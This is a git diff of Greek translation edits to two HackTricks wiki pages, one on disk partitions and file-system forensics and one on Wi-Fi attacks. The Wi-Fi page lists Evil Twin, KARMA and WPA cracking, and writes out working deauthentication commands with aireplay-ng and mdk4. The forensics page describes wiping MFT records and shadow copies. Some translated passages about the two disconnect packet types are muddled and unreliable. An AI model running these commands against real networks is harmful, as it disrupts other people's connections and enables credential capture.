mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/basic-forensic-meth
This commit is contained in:
parent
cd17164937
commit
c3d949718c
@ -9,7 +9,7 @@
|
||||
|
||||
### MBR (master Boot Record)
|
||||
|
||||
Είναι κατανεμημένο στον **πρώτο τομέα του δίσκου μετά τα 446B του κώδικα εκκίνησης**. Αυτός ο τομέας είναι ουσιώδης για να υποδείξει στον υπολογιστή τι και από πού θα πρέπει να προσαρτηθεί ένα διαμέρισμα.\
|
||||
Είναι κατανεμημένο στον **πρώτο τομέα του δίσκου μετά τα 446B του κώδικα εκκίνησης**. Αυτός ο τομέας είναι ουσιώδης για να υποδείξει στον υπολογιστή τι και από πού πρέπει να προσαρτηθεί ένα διαμέρισμα.\
|
||||
Επιτρέπει έως **4 διαμερίσματα** (το πολύ **μόνο 1** μπορεί να είναι ενεργό/**εκκινήσιμο**). Ωστόσο, αν χρειάζεστε περισσότερα διαμερίσματα μπορείτε να χρησιμοποιήσετε **εκτεταμένα διαμερίσματα**. Ο **τελευταίος byte** αυτού του πρώτου τομέα είναι η υπογραφή του boot record **0x55AA**. Μόνο ένα διαμέρισμα μπορεί να χαρακτηριστεί ως ενεργό.\
|
||||
Το MBR επιτρέπει **μέγιστο 2.2TB**.
|
||||
|
||||
@ -42,14 +42,14 @@
|
||||
| 3 (0x03) | 1 (0x01) | Αρχικός κύλινδρος χαμηλότερα 8 bits |
|
||||
| 4 (0x04) | 1 (0x01) | Κωδικός τύπου διαμερίσματος (0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | Τελική κεφαλή |
|
||||
| 6 (0x06) | 1 (0x01) | Τελικός τομέας (bits 0-5); ανώτερα bits του κυλίνδρου (6- 7) |
|
||||
| 6 (0x06) | 1 (0x01) | Τελικός τομέας (bits 0-5); ανώτερα bits του κυλίνδρου (6- 7) |
|
||||
| 7 (0x07) | 1 (0x01) | Τελικός κύλινδρος χαμηλότερα 8 bits |
|
||||
| 8 (0x08) | 4 (0x04) | Τομείς που προηγούνται του διαμερίσματος (little endian) |
|
||||
| 12 (0x0C) | 4 (0x04) | Τομείς στο διαμέρισμα |
|
||||
| 8 (0x08) | 4 (0x04) | Τομείς πριν το διαμέρισμα (little endian) |
|
||||
| 12 (0x0C) | 4 (0x04) | Τομείς στο διαμέρισμα |
|
||||
|
||||
Για να προσαρτήσετε ένα MBR σε Linux, πρέπει πρώτα να αποκτήσετε την αρχική μετατόπιση (μπορείτε να χρησιμοποιήσετε το `fdisk` και την εντολή `p`)
|
||||
|
||||
 (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
 (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
Και στη συνέχεια χρησιμοποιήστε τον παρακάτω κώδικα
|
||||
```bash
|
||||
@ -60,7 +60,7 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
||||
```
|
||||
**LBA (Λογική διεύθυνση μπλοκ)**
|
||||
|
||||
**Λογική διεύθυνση μπλοκ** (**LBA**) είναι ένα κοινό σχέδιο που χρησιμοποιείται για **τον καθορισμό της τοποθεσίας μπλοκ** δεδομένων που αποθηκεύονται σε συσκευές αποθήκευσης υπολογιστών, γενικά σε δευτερεύοντα συστήματα αποθήκευσης όπως οι σκληροί δίσκοι. Το LBA είναι ένα ιδιαίτερα απλό γραμμικό σχέδιο διεύθυνσης; **τα μπλοκ εντοπίζονται με έναν ακέραιο δείκτη**, με το πρώτο μπλοκ να είναι LBA 0, το δεύτερο LBA 1, και ούτω καθεξής.
|
||||
**Λογική διεύθυνση μπλοκ** (**LBA**) είναι ένα κοινό σχέδιο που χρησιμοποιείται για **τον προσδιορισμό της τοποθεσίας μπλοκ** δεδομένων που αποθηκεύονται σε συσκευές αποθήκευσης υπολογιστών, γενικά σε δευτερεύοντα συστήματα αποθήκευσης όπως οι σκληροί δίσκοι. Το LBA είναι ένα ιδιαίτερα απλό γραμμικό σχέδιο διεύθυνσης; **τα μπλοκ εντοπίζονται με έναν ακέραιο δείκτη**, με το πρώτο μπλοκ να είναι LBA 0, το δεύτερο LBA 1, και ούτω καθεξής.
|
||||
|
||||
### GPT (Πίνακας Κατατμήσεων GUID)
|
||||
|
||||
@ -72,12 +72,12 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
||||
|
||||
**Ανθεκτικότητα Δεδομένων και Ανάκτηση**:
|
||||
|
||||
- **Πλεονασμός**: Σε αντίθεση με το MBR, το GPT δεν περιορίζει την κατανομή και τα δεδομένα εκκίνησης σε μία μόνο θέση. Αντιγράφει αυτά τα δεδομένα σε όλο το δίσκο, ενισχύοντας την ακεραιότητα και την ανθεκτικότητα των δεδομένων.
|
||||
- **Έλεγχος Κυκλικής Πλεονασματικότητας (CRC)**: Το GPT χρησιμοποιεί CRC για να διασφαλίσει την ακεραιότητα των δεδομένων. Παρακολουθεί ενεργά για διαφθορά δεδομένων, και όταν ανιχνεύεται, το GPT προσπαθεί να ανακτήσει τα κατεστραμμένα δεδομένα από άλλη τοποθεσία του δίσκου.
|
||||
- **Πλεονασμός**: Σε αντίθεση με το MBR, το GPT δεν περιορίζει τα δεδομένα κατατμήσεων και εκκίνησης σε μία μόνο θέση. Αντιγράφει αυτά τα δεδομένα σε όλο το δίσκο, ενισχύοντας την ακεραιότητα και την ανθεκτικότητα των δεδομένων.
|
||||
- **Έλεγχος Κυκλικής Πλεοναστικότητας (CRC)**: Το GPT χρησιμοποιεί CRC για να διασφαλίσει την ακεραιότητα των δεδομένων. Παρακολουθεί ενεργά για διαφθορά δεδομένων και, όταν ανιχνεύεται, το GPT προσπαθεί να ανακτήσει τα κατεστραμμένα δεδομένα από άλλη τοποθεσία του δίσκου.
|
||||
|
||||
**Προστατευτικό MBR (LBA0)**:
|
||||
|
||||
- Το GPT διατηρεί την υποστήριξη προς τα πίσω μέσω ενός προστατευτικού MBR. Αυτή η δυνατότητα βρίσκεται στον κληρονομημένο χώρο MBR αλλά έχει σχεδιαστεί για να αποτρέπει τις παλαιότερες βοηθητικές εφαρμογές που βασίζονται σε MBR από το να αντικαταστήσουν κατά λάθος τους δίσκους GPT, διασφαλίζοντας έτσι την ακεραιότητα των δεδομένων στους δίσκους μορφοποίησης GPT.
|
||||
- Το GPT διατηρεί την υποστήριξη προς τα πίσω μέσω ενός προστατευτικού MBR. Αυτή η δυνατότητα βρίσκεται στον κληρονομημένο χώρο MBR αλλά έχει σχεδιαστεί για να αποτρέπει τις παλαιότερες βοηθητικές εφαρμογές που βασίζονται σε MBR από το να αντικαταστήσουν κατά λάθος τους δίσκους GPT, διασφαλίζοντας έτσι την ακεραιότητα των δεδομένων στους δίσκους μορφοποιημένους σε GPT.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -85,17 +85,17 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
||||
|
||||
[Από τη Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
|
||||
Σε λειτουργικά συστήματα που υποστηρίζουν **εκκίνηση βασισμένη σε GPT μέσω υπηρεσιών BIOS** αντί για EFI, ο πρώτος τομέας μπορεί επίσης να χρησιμοποιηθεί για την αποθήκευση της πρώτης φάσης του κώδικα **bootloader**, αλλά **τροποποιημένος** για να αναγνωρίζει τις **κατατμήσεις GPT**. Ο bootloader στο MBR δεν πρέπει να υποθέτει μέγεθος τομέα 512 byte.
|
||||
Σε λειτουργικά συστήματα που υποστηρίζουν **εκκίνηση βασισμένη σε GPT μέσω υπηρεσιών BIOS** αντί για EFI, ο πρώτος τομέας μπορεί επίσης να χρησιμοποιηθεί για την αποθήκευση της πρώτης φάσης του κώδικα του **bootloader**, αλλά **τροποποιημένος** για να αναγνωρίζει τις **κατατμήσεις GPT**. Ο bootloader στο MBR δεν πρέπει να υποθέτει μέγεθος τομέα 512 byte.
|
||||
|
||||
**Κεφαλίδα πίνακα κατατμήσεων (LBA 1)**
|
||||
|
||||
[Από τη Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
|
||||
Η κεφαλίδα πίνακα κατατμήσεων ορίζει τα χρησιμοποιήσιμα μπλοκ στον δίσκο. Ορίζει επίσης τον αριθμό και το μέγεθος των καταχωρίσεων κατατμήσεων που αποτελούν τον πίνακα κατατμήσεων (offsets 80 και 84 στον πίνακα).
|
||||
Η κεφαλίδα του πίνακα κατατμήσεων ορίζει τα χρησιμοποιήσιμα μπλοκ στον δίσκο. Ορίζει επίσης τον αριθμό και το μέγεθος των καταχωρίσεων κατατμήσεων που αποτελούν τον πίνακα κατατμήσεων (offsets 80 και 84 στον πίνακα).
|
||||
|
||||
| Offset | Length | Περιεχόμενα |
|
||||
| Offset | Length | Contents |
|
||||
| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 0 (0x00) | 8 bytes | Υπογραφή ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ή 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)σε μηχανές little-endian) |
|
||||
| 0 (0x00) | 8 bytes | Υπογραφή ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ή 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8)σε μηχανές little-endian) |
|
||||
| 8 (0x08) | 4 bytes | Αναθεώρηση 1.0 (00h 00h 01h 00h) για UEFI 2.8 |
|
||||
| 12 (0x0C) | 4 bytes | Μέγεθος κεφαλίδας σε little endian (σε bytes, συνήθως 5Ch 00h 00h 00h ή 92 bytes) |
|
||||
| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) της κεφαλίδας (offset +0 έως μέγεθος κεφαλίδας) σε little endian, με αυτό το πεδίο μηδενισμένο κατά τη διάρκεια του υπολογισμού |
|
||||
@ -104,7 +104,7 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
||||
| 32 (0x20) | 8 bytes | Αντίγραφο LBA (τοποθεσία του άλλου αντιγράφου κεφαλίδας) |
|
||||
| 40 (0x28) | 8 bytes | Πρώτο χρησιμοποιήσιμο LBA για κατατμήσεις (τελευταίο LBA κύριου πίνακα κατατμήσεων + 1) |
|
||||
| 48 (0x30) | 8 bytes | Τελευταίο χρησιμοποιήσιμο LBA (πρώτο LBA δευτερεύοντος πίνακα κατατμήσεων − 1) |
|
||||
| 56 (0x38) | 16 bytes | GUID δίσκου σε μικτό endian |
|
||||
| 56 (0x38) | 16 bytes | Disk GUID σε μικτό endian |
|
||||
| 72 (0x48) | 8 bytes | Αρχικό LBA ενός πίνακα καταχωρίσεων κατατμήσεων (πάντα 2 στην κύρια αντιγραφή) |
|
||||
| 80 (0x50) | 4 bytes | Αριθμός καταχωρίσεων κατατμήσεων στον πίνακα |
|
||||
| 84 (0x54) | 4 bytes | Μέγεθος μιας μόνο καταχώρισης κατατμήσεων (συνήθως 80h ή 128) |
|
||||
@ -115,7 +115,7 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
||||
|
||||
| Μορφή καταχώρισης GUID | | |
|
||||
| ----------------------- | -------- | ------------------------------------------------------------------------------------------------------------- |
|
||||
| Offset | Length | Περιεχόμενα |
|
||||
| Offset | Length | Contents |
|
||||
| 0 (0x00) | 16 bytes | [GUID τύπου κατατμήσεων](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (μικτό endian) |
|
||||
| 16 (0x10) | 16 bytes | Μοναδικός GUID κατατμήσεων (μικτό endian) |
|
||||
| 32 (0x20) | 8 bytes | Πρώτο LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) |
|
||||
@ -131,7 +131,7 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
||||
|
||||
### Επιθεώρηση
|
||||
|
||||
Αφού τοποθετήσετε την εικόνα εγκληματολογικής ανάλυσης με το [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), μπορείτε να επιθεωρήσετε τον πρώτο τομέα χρησιμοποιώντας το εργαλείο Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Στην παρακάτω εικόνα ανιχνεύθηκε ένα **MBR** στον **τομέα 0** και ερμηνεύθηκε:
|
||||
Αφού τοποθετήσετε την εικόνα εγκληματολογίας με το [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), μπορείτε να επιθεωρήσετε τον πρώτο τομέα χρησιμοποιώντας το εργαλείο Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Στην παρακάτω εικόνα ανιχνεύθηκε ένα **MBR** στον **τομέα 0** και ερμηνεύθηκε:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -153,7 +153,7 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
||||
|
||||
Η βασική μονάδα αποθήκευσης του συστήματος αρχείων είναι ένα **cluster, συνήθως 512B**, που περιλαμβάνει πολλούς τομείς. Το FAT έχει εξελιχθεί μέσω εκδόσεων:
|
||||
|
||||
- **FAT12**, υποστηρίζοντας 12-bit διευθύνσεις clusters και διαχειρίζεται έως 4078 clusters (4084 με UNIX).
|
||||
- **FAT12**, υποστηρίζοντας διευθύνσεις cluster 12 bit και χειριζόμενο έως 4078 clusters (4084 με UNIX).
|
||||
- **FAT16**, βελτιώνοντας σε 16-bit διευθύνσεις, επιτρέποντας έτσι έως 65,517 clusters.
|
||||
- **FAT32**, προχωρώντας περαιτέρω με 32-bit διευθύνσεις, επιτρέποντας εντυπωσιακά 268,435,456 clusters ανά όγκο.
|
||||
|
||||
@ -164,12 +164,12 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
||||
- **Όνομα Αρχείου/Φακέλου** (έως 8 χαρακτήρες)
|
||||
- **Χαρακτηριστικά**
|
||||
- **Ημερομηνίες Δημιουργίας, Τροποποίησης και Τελευταίας Πρόσβασης**
|
||||
- **Διεύθυνση Πίνακα FAT** (που υποδεικνύει το αρχικό cluster του αρχείου)
|
||||
- **Διεύθυνση Πίνακα FAT** (υποδεικνύει το αρχικό cluster του αρχείου)
|
||||
- **Μέγεθος Αρχείου**
|
||||
|
||||
### EXT
|
||||
|
||||
**Ext2** είναι το πιο κοινό σύστημα αρχείων για **μη καταγραφόμενες** κατατμήσεις (**κατατμήσεις που δεν αλλάζουν πολύ**) όπως η κατανομή εκκίνησης. **Ext3/4** είναι **καταγραφόμενες** και χρησιμοποιούνται συνήθως για τις **υπόλοιπες κατατμήσεις**.
|
||||
**Ext2** είναι το πιο κοινό σύστημα αρχείων για **μη καταγραφόμενες** κατατμήσεις (**κατατμήσεις που δεν αλλάζουν πολύ**) όπως η καταχώρηση εκκίνησης. **Ext3/4** είναι **καταγραφόμενες** και χρησιμοποιούνται συνήθως για τις **υπόλοιπες κατατμήσεις**.
|
||||
|
||||
## **Μεταδεδομένα**
|
||||
|
||||
@ -189,9 +189,9 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
||||
|
||||
### Καταγεγραμμένα Διαγραμμένα Αρχεία
|
||||
|
||||
Όπως είδαμε προηγουμένως, υπάρχουν πολλές θέσεις όπου το αρχείο είναι ακόμα αποθηκευμένο μετά την "διαγραφή" του. Αυτό συμβαίνει επειδή συνήθως η διαγραφή ενός αρχείου από ένα σύστημα αρχείων απλώς το σημειώνει ως διαγραμμένο αλλά τα δεδομένα δεν αγγίζονται. Έτσι, είναι δυνατό να επιθεωρήσετε τα μητρώα των αρχείων (όπως το MFT) και να βρείτε τα διαγραμμένα αρχεία.
|
||||
Όπως έχει παρατηρηθεί προηγουμένως, υπάρχουν πολλές θέσεις όπου το αρχείο εξακολουθεί να είναι αποθηκευμένο μετά την "διαγραφή" του. Αυτό συμβαίνει επειδή συνήθως η διαγραφή ενός αρχείου από ένα σύστημα αρχείων απλώς το σηματοδοτεί ως διαγραμμένο, αλλά τα δεδομένα δεν αγγίζονται. Έτσι, είναι δυνατόν να επιθεωρήσετε τα μητρώα των αρχείων (όπως το MFT) και να βρείτε τα διαγραμμένα αρχεία.
|
||||
|
||||
Επίσης, το λειτουργικό σύστημα συνήθως αποθηκεύει πολλές πληροφορίες σχετικά με τις αλλαγές του συστήματος αρχείων και τα αντίγραφα ασφαλείας, οπότε είναι δυνατό να προσπαθήσετε να τα χρησιμοποιήσετε για να ανακτήσετε το αρχείο ή όσο το δυνατόν περισσότερες πληροφορίες.
|
||||
Επίσης, το λειτουργικό σύστημα συνήθως αποθηκεύει πολλές πληροφορίες σχετικά με τις αλλαγές του συστήματος αρχείων και τα αντίγραφα ασφαλείας, οπότε είναι δυνατόν να προσπαθήσετε να τα χρησιμοποιήσετε για να ανακτήσετε το αρχείο ή όσο το δυνατόν περισσότερες πληροφορίες.
|
||||
|
||||
{{#ref}}
|
||||
file-data-carving-recovery-tools.md
|
||||
@ -199,9 +199,9 @@ file-data-carving-recovery-tools.md
|
||||
|
||||
### **File Carving**
|
||||
|
||||
**File carving** είναι μια τεχνική που προσπαθεί να **βρει αρχεία μέσα σε έναν όγκο δεδομένων**. Υπάρχουν 3 κύριοι τρόποι με τους οποίους λειτουργούν εργαλεία όπως αυτό: **Βασισμένα σε κεφαλίδες και ουρές τύπων αρχείων**, βασισμένα σε **δομές** τύπων αρχείων και βασισμένα στο **περιεχόμενο** αυτό καθαυτό.
|
||||
**File carving** είναι μια τεχνική που προσπαθεί να **βρει αρχεία σε έναν όγκο δεδομένων**. Υπάρχουν 3 κύριοι τρόποι με τους οποίους λειτουργούν εργαλεία όπως αυτό: **Βασισμένα σε κεφαλίδες και ουρές τύπων αρχείων**, βασισμένα σε **δομές** τύπων αρχείων και βασισμένα στο **περιεχόμενο** αυτό καθαυτό.
|
||||
|
||||
Σημειώστε ότι αυτή η τεχνική **δεν λειτουργεί για την ανάκτηση κατακερματισμένων αρχείων**. Αν ένα αρχείο **δεν αποθηκεύεται σε συνεχόμενους τομείς**, τότε αυτή η τεχνική δεν θα είναι σε θέση να το βρει ή τουλάχιστον μέρος του.
|
||||
Σημειώστε ότι αυτή η τεχνική **δεν λειτουργεί για την ανάκτηση κατακερματισμένων αρχείων**. Εάν ένα αρχείο **δεν αποθηκεύεται σε συνεχόμενους τομείς**, τότε αυτή η τεχνική δεν θα είναι σε θέση να το βρει ή τουλάχιστον μέρος του.
|
||||
|
||||
Υπάρχουν αρκετά εργαλεία που μπορείτε να χρησιμοποιήσετε για το file carving υποδεικνύοντας τους τύπους αρχείων που θέλετε να αναζητήσετε.
|
||||
|
||||
@ -209,9 +209,9 @@ file-data-carving-recovery-tools.md
|
||||
file-data-carving-recovery-tools.md
|
||||
{{#endref}}
|
||||
|
||||
### Data Stream **C**arving
|
||||
### Κατασκευή Ροής Δεδομένων
|
||||
|
||||
Data Stream Carving είναι παρόμοιο με το File Carving αλλά **αντί να αναζητά πλήρη αρχεία, αναζητά ενδιαφέροντα θραύσματα** πληροφοριών.\
|
||||
Η Κατασκευή Ροής Δεδομένων είναι παρόμοια με το File Carving αλλά **αντί να αναζητά πλήρη αρχεία, αναζητά ενδιαφέροντα θραύσματα** πληροφοριών.\
|
||||
Για παράδειγμα, αντί να αναζητά ένα πλήρες αρχείο που περιέχει καταγεγραμμένα URLs, αυτή η τεχνική θα αναζητήσει URLs.
|
||||
|
||||
{{#ref}}
|
||||
@ -220,8 +220,8 @@ file-data-carving-recovery-tools.md
|
||||
|
||||
### Ασφαλής Διαγραφή
|
||||
|
||||
Προφανώς, υπάρχουν τρόποι για να **"διαγράψετε με ασφάλεια" αρχεία και μέρη των καταγραφών τους**. Για παράδειγμα, είναι δυνατό να **επικαλύψετε το περιεχόμενο** ενός αρχείου με άχρηστα δεδομένα πολλές φορές, και στη συνέχεια να **αφαιρέσετε** τις **καταγραφές** από το **$MFT** και το **$LOGFILE** σχετικά με το αρχείο, και να **αφαιρέσετε τα Volume Shadow Copies**.\
|
||||
Μπορείτε να παρατηρήσετε ότι ακόμη και εκτελώντας αυτή την ενέργεια μπορεί να υπάρχουν **άλλες περιοχές όπου η ύπαρξη του αρχείου είναι ακόμα καταγεγραμμένη**, και αυτό είναι αληθές και μέρος της δουλειάς ενός επαγγελματία εγκληματολογικής ανάλυσης είναι να τις βρει.
|
||||
Προφανώς, υπάρχουν τρόποι για να **"διαγράψετε με ασφάλεια" αρχεία και μέρη των καταγραφών τους**. Για παράδειγμα, είναι δυνατόν να **επικαλύψετε το περιεχόμενο** ενός αρχείου με άχρηστα δεδομένα πολλές φορές, και στη συνέχεια να **αφαιρέσετε** τις **καταγραφές** από το **$MFT** και το **$LOGFILE** σχετικά με το αρχείο, και **να αφαιρέσετε τα Volume Shadow Copies**.\
|
||||
Μπορείτε να παρατηρήσετε ότι ακόμη και εκτελώντας αυτή την ενέργεια μπορεί να υπάρχουν **άλλες περιοχές όπου η ύπαρξη του αρχείου είναι ακόμη καταγεγραμμένη**, και αυτό είναι αληθές και μέρος της δουλειάς ενός επαγγελματία εγκληματολογίας είναι να τις βρει.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
||||
@ -57,14 +57,14 @@ sudo python setup.py install # Install any dependencies
|
||||
|
||||
- Ρύθμιση της διεπαφής σε λειτουργία παρακολούθησης
|
||||
- Σάρωση για πιθανά δίκτυα - Και σας επιτρέπει να επιλέξετε το θύμα(τα)
|
||||
- Αν είναι WEP - Εκκίνηση επιθέσεων WEP
|
||||
- Αν είναι WPA-PSK
|
||||
- Αν είναι WPS: Επίθεση Pixie dust και η επίθεση brute-force (προσοχή, η επίθεση brute-force μπορεί να διαρκέσει πολύ). Σημειώστε ότι δεν προσπαθεί με null PIN ή PIN που έχουν δημιουργηθεί από βάση δεδομένων.
|
||||
- Αν WEP - Εκκίνηση επιθέσεων WEP
|
||||
- Αν WPA-PSK
|
||||
- Αν WPS: Επίθεση Pixie dust και η επίθεση brute-force (προσοχή, η επίθεση brute-force μπορεί να διαρκέσει πολύ). Σημειώστε ότι δεν προσπαθεί με null PIN ή PIN που έχουν δημιουργηθεί από βάση δεδομένων.
|
||||
- Προσπάθεια σύλληψης του PMKID από το AP για να το σπάσει
|
||||
- Προσπάθεια αποσύνδεσης πελατών του AP για να συλληφθεί ένα handshake
|
||||
- Αν PMKID ή Handshake, προσπαθήστε να κάνετε brute-force χρησιμοποιώντας τους 5000 κορυφαίους κωδικούς πρόσβασης.
|
||||
- Αν PMKID ή Handshake, προσπαθήστε να κάνετε brute-force χρησιμοποιώντας τους 5000 κορυφαίους κωδικούς.
|
||||
|
||||
## Attacks Summary
|
||||
## Περίληψη Επιθέσεων
|
||||
|
||||
- **DoS**
|
||||
- Αποσύνδεση/αποσύνδεση -- Αποσυνδέστε όλους (ή μια συγκεκριμένη ESSID/Client)
|
||||
@ -79,11 +79,11 @@ sudo python setup.py install # Install any dependencies
|
||||
- **WPA PMKID** brute-force
|
||||
- \[DoS +] **WPA handshake** σύλληψη + Σπάσιμο
|
||||
- **WPA-MGT**
|
||||
- **Σύλληψη ονόματος χρήστη**
|
||||
- **Σύλληψη Ονόματος Χρήστη**
|
||||
- **Bruteforce** Διαπιστευτήρια
|
||||
- **Evil Twin** (με ή χωρίς DoS)
|
||||
- **Ανοιχτό** Evil Twin \[+ DoS] -- Χρήσιμο για τη σύλληψη διαπιστευτηρίων captive portal και/ή την εκτέλεση επιθέσεων LAN
|
||||
- **WPA-PSK** Evil Twin -- Χρήσιμο για επιθέσεις δικτύου αν γνωρίζετε τον κωδικό πρόσβασης
|
||||
- **WPA-PSK** Evil Twin -- Χρήσιμο για επιθέσεις δικτύου αν γνωρίζετε τον κωδικό
|
||||
- **WPA-MGT** -- Χρήσιμο για τη σύλληψη διαπιστευτηρίων εταιρείας
|
||||
- **KARMA, MANA**, **Loud MANA**, **Γνωστό beacon**
|
||||
- **+ Ανοιχτό** -- Χρήσιμο για τη σύλληψη διαπιστευτηρίων captive portal και/ή την εκτέλεση επιθέσεων LAN
|
||||
@ -91,27 +91,27 @@ sudo python setup.py install # Install any dependencies
|
||||
|
||||
## DOS
|
||||
|
||||
### Deauthentication Packets
|
||||
### Πακέτα Αποσύνδεσης
|
||||
|
||||
**Περιγραφή από** [**εδώ**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
||||
|
||||
Οι επιθέσεις **Deauthentication**, μια διαδεδομένη μέθοδος στο Wi-Fi hacking, περιλαμβάνουν τη δημιουργία "management" frames για να **αποσυνδέσουν βίαια τις συσκευές από ένα δίκτυο**. Αυτά τα μη κρυπτογραφημένα πακέτα παραπλανούν τους πελάτες να πιστεύουν ότι προέρχονται από το νόμιμο δίκτυο, επιτρέποντας στους επιτιθέμενους να συλλέγουν WPA handshakes για σκοπούς σπασίματος ή να διαταράσσουν μόνιμα τις συνδέσεις δικτύου. Αυτή η τακτική, ανησυχητική στην απλότητά της, χρησιμοποιείται ευρέως και έχει σημαντικές επιπτώσεις για την ασφάλεια του δικτύου.
|
||||
Οι επιθέσεις **αποσύνδεσης**, μια διαδεδομένη μέθοδος στο Wi-Fi hacking, περιλαμβάνουν τη δημιουργία "διαχειριστικών" πλαισίων για να **αποσυνδέσουν βίαια τις συσκευές από ένα δίκτυο**. Αυτά τα μη κρυπτογραφημένα πακέτα εξαπατούν τους πελάτες να πιστεύουν ότι προέρχονται από το νόμιμο δίκτυο, επιτρέποντας στους επιτιθέμενους να συλλέγουν WPA handshakes για σκοπούς σπασίματος ή να διαταράσσουν μόνιμα τις συνδέσεις δικτύου. Αυτή η τακτική, ανησυχητική στην απλότητά της, είναι ευρέως χρησιμοποιούμενη και έχει σημαντικές επιπτώσεις για την ασφάλεια του δικτύου.
|
||||
|
||||
**Deauthentication χρησιμοποιώντας Aireplay-ng**
|
||||
**Αποσύνδεση χρησιμοποιώντας Aireplay-ng**
|
||||
```
|
||||
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
||||
```
|
||||
- -0 σημαίνει αποσύνδεση
|
||||
- 1 είναι ο αριθμός των αποσυνδέσεων που θα σταλούν (μπορείτε να στείλετε πολλές αν το επιθυμείτε); 0 σημαίνει ότι θα αποστέλλονται συνεχώς
|
||||
- 1 είναι ο αριθμός των αποσυνδέσεων που θα σταλούν (μπορείτε να στείλετε πολλές αν το επιθυμείτε); 0 σημαίνει ότι θα στέλνονται συνεχώς
|
||||
- -a 00:14:6C:7E:40:80 είναι η διεύθυνση MAC του σημείου πρόσβασης
|
||||
- -c 00:0F:B5:34:30:30 είναι η διεύθυνση MAC του πελάτη που θα αποσυνδεθεί; αν αυτό παραλειφθεί, τότε αποστέλλεται αποσύνδεση εκπομπής (δεν λειτουργεί πάντα)
|
||||
- -c 00:0F:B5:34:30:30 είναι η διεύθυνση MAC του πελάτη που θα αποσυνδεθεί; αν αυτό παραλειφθεί, τότε αποσύνδεση εκπομπής θα σταλεί (δεν λειτουργεί πάντα)
|
||||
- ath0 είναι το όνομα της διεπαφής
|
||||
|
||||
### Πακέτα Αποσύνδεσης
|
||||
|
||||
**Τα πακέτα αποσύνδεσης**, παρόμοια με τα πακέτα αποσύνδεσης, είναι ένας τύπος διαχειριστικού πλαισίου που χρησιμοποιείται σε δίκτυα Wi-Fi. Αυτά τα πακέτα εξυπηρετούν την αποκοπή της σύνδεσης μεταξύ μιας συσκευής (όπως ένα φορητό υπολογιστή ή smartphone) και ενός σημείου πρόσβασης (AP). Η κύρια διάκριση μεταξύ αποσύνδεσης και αποσύνδεσης έγκειται στα σενάρια χρήσης τους. Ενώ ένα AP εκπέμπει **πακέτα αποσύνδεσης για να αφαιρέσει ρητά τις κακόβουλες συσκευές από το δίκτυο, τα πακέτα αποσύνδεσης αποστέλλονται συνήθως όταν το AP βρίσκεται σε διαδικασία απενεργοποίησης**, επανεκκίνησης ή μεταφοράς, απαιτώντας έτσι την αποσύνδεση όλων των συνδεδεμένων κόμβων.
|
||||
**Τα πακέτα αποσύνδεσης**, παρόμοια με τα πακέτα αποσύνδεσης, είναι ένας τύπος διαχειριστικού πλαισίου που χρησιμοποιείται σε δίκτυα Wi-Fi. Αυτά τα πακέτα εξυπηρετούν για να διακόψουν τη σύνδεση μεταξύ μιας συσκευής (όπως ένα φορητό υπολογιστή ή smartphone) και ενός σημείου πρόσβασης (AP). Η κύρια διάκριση μεταξύ αποσύνδεσης και αποσύνδεσης έγκειται στα σενάρια χρήσης τους. Ενώ ένα AP εκπέμπει **πακέτα αποσύνδεσης για να αφαιρέσει ρητά τις κακόβουλες συσκευές από το δίκτυο, τα πακέτα αποσύνδεσης συνήθως αποστέλλονται όταν το AP βρίσκεται σε διαδικασία απενεργοποίησης**, επανεκκίνησης ή μετακίνησης, απαιτώντας έτσι τη διακοπή σύνδεσης όλων των συνδεδεμένων κόμβων.
|
||||
|
||||
**Αυτή η επίθεση μπορεί να εκτελεστεί με mdk4(mode "d"):**
|
||||
**Αυτή η επίθεση μπορεί να εκτελεστεί με το mdk4(mode "d"):**
|
||||
```bash
|
||||
# -c <channel>
|
||||
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
|
||||
@ -120,7 +120,7 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
||||
